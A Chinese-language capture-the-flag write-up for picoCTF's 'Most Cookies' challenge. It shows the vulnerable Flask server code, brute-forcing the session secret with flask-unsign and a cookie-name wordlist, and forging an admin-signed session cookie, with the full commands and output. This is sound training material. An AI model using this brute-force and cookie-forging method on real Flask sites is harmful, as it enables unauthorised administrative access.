Description
Alright, enough of using my own encryption. Flask session cookies
should be plenty secure!
server.py
http://mercury.picoctf.net:53700/Hints
How secure is a flask cookie?
我们先下载server.py
,分析逻辑
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)@app.route("/")
def main():if session.get("very_auth"):check = session["very_auth"]if check == "blank":return render_template("index.html", title=title)else:return make_response(redirect("/display"))else:resp = make_response(redirect("/"))session["very_auth"] = "blank"return resp@app.route("/search", methods=["GET", "POST"])
def search():if "name" in request.form and request.form["name"] in cookie_names:resp = make_response(redirect("/display"))session["very_auth"] = request.form["name"]return respelse:message = "That doesn't appear to be a valid cookie."category = "danger"flash(message, category)resp = make_response(redirect("/"))session["very_auth"] = "blank"return resp@app.route("/reset")
def reset():resp = make_response(redirect("/"))session.pop("very_auth", None)return resp@app.route("/display", methods=["GET"])
def flag():if session.get("very_auth"):check = session["very_auth"]if check == "admin":resp = make_response(render_template("flag.html", value=flag_value, title=title))return respflash("That is a cookie! Not very special though...", "success")return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])else:resp = make_response(redirect("/"))session["very_auth"] = "blank"return respif __name__ == "__main__":app.run()
这里的逻辑表示,本站使用Python的Flask框架
secret_key
在cookie_names
中随机选取
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
- 要渲染
flag.html
页面展示flag_value
,需要访问路由/display
- 要访问
/display
需要session
中满足very_auth=admin
- 默认
very_auth=blank
那么我们的步骤应该是这样:
访问网站拿到session
eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Zj5SAw.yDhJBck0rG1vky-AxS4GxUhG-qw
这是JWT格式,去JWT官网解析得到
HEADER:{"very_auth": "blank"
}
下一步就是要将very_auth改为admin
,该网站上要指出的另一件事是有一个“验签”部分。由于Flask Cookie 涉及加密,因此设置了一个secret_key
来防止攻击者。那么我们接下来就要找到这个secret_key
范围就在cookie_names
中
安装flask-unsign(我是windows,cmd环境,请注意引号相关)
C:\Users\HUCKER>py -m pip install flask-unsign
使用flask-unsign及cookie_names转换的wordlist解签找到secret_key
得到结果peanut butter
C:\Users\HUCKER>flask-unsign --unsign --server http://mercury.picoctf.net:53700/ --wordlist wordlist.txt
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Zj8ERw.nHxSKV9M89MrPwFqeNAQnPG7qiM
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attemptscadamia
'peanut butter'
使用flask-unsign对{'very_auth': 'admin'}
进行签名,使用我们解密出的secret
C:\Users\HUCKER>flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "peanut butter"
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.Zj8LNg.pxdjkKcibAI5RG9OdMcWVkUsFXo
将得到签名后的token替换到网页cookie→session中,刷新页面得到flag
wordlist.txt(放到cmd运行目录即可,我的是C:\Users\HUCKER
)
snickerdoodle
chocolate chip
oatmeal raisin
gingersnap
shortbread
peanut butter
whoopie pie
sugar
molasses
kiss
biscotti
butter
spritz
snowball
drop
thumbprint
pinwheel
wafer
macaroon
fortune
crinkle
icebox
gingerbread
tassie
lebkuchen
macaron
black and white
white chocolate macadamia